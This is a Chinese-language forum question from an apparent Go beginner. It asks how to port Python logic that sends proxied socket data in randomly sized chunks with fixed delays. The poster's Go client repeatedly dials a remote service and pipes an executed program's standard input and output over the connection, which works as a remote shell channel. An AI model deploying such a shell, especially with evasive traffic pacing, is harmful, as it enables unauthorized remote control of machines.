Golang中如何实现这个逻辑？

Golang中如何实现这个逻辑？ 我有一个用Python编写的代理，其中包含一些逻辑，我想在我自己的Go工具中实现它，但我真的不知道该如何操作。

它通过套接字（标准输出）发送的数据被分割成小块，并在每个块之间设置延迟。

我有一个变量，它从一个列表中获取随机数：

....
 listbytes = [87, 88, 89, 90]
....

我还有一个函数，它将数据（lst）分割成小字节块（n）：

............
def chunks(lst, n):

    "Yield successive chunks from lst, where n is a list of possible sizes"

    i = 0

    while i < len(lst):

        k = min(random.choice(n), len(lst) - i)

        yield lst[i:i + k]

        i += k
.............

这两部分按以下方式执行：

...
# get the data

            data = s.recv(BUFFER_SIZE)

 

            if s == s_src:

                d = LOCAL_DATA_HANDLER(data)

                for chunk in chunks(d, listbytes): 

#sleep 1.6 seconds before sending the next chunk of data

                    time.sleep(1.6)

#send the chunked data

                    s_dst.send(bytes(chunk) )

...

我该如何实现完全相同的逻辑？

func (nObj NetObject) RunClient(cmd string) {

    // Try connection

    for {

        conn, err := net.Dial(nObj.Type, nObj.Service)

        fmt.Print("connect")

//        msg := "status"

        if err != nil {

            fmt.Println("fail")

        } 

        if err == nil {

            fmt.Println("ok")

//            defer conn.Close()

            defer conn.Close()

            log.Println("Connected to", conn.RemoteAddr())

            handleConn(conn, cmd)

            //handleConn(conn, cmd)

            fmt.Println("After handle")

                    } 

        fmt.Println("Before sleep")

        time.Sleep(5 * time.Second)

    }

}
// Manage connection for different behavior
func handleConn(conn net.Conn, binPath string) {

        msg := "Status?\n"

       	    if binPath != "" {
		// Execute command and send Standard I/O net.Conn
		cmd := exec.Command(binPath)
		cmd.Stdin = conn
		cmd.Stdout = conn
		cmd.Stderr = conn
		cmd.Run()
                fmt.Println("Disconnected!?")
                time.Sleep(5 * time.Second)
                pippo, err2 := conn.Write([]byte(msg))
                if err2 != nil {
                       fmt.Println(pippo)
                }


              

	    } else {
		// Copy Standard I/O in a net.Conn
		go io.Copy(os.Stderr, conn)
		go io.Copy(os.Stdout, conn)
		io.Copy(conn, os.Stdin)

	    }
}

在Python中，实现起来很直接，而且效果很好。 该工具每次生成一个块时，都会从listbytes中随机选取一个数字。

我只是在寻找一位有耐心的高手（或者说是圣人，哈哈），他能提供一个代码示例，展示如何按照我的意愿工作。

我并不指望一开始就能让它运行起来，这几乎是不可能的，但我们都知道，通过一些错误，你迟早会找到解决方案（：

在这种情况下，我真的不知道从哪里开始，也不知道该怎么做（我是Go的新手）。 你能帮帮我吗？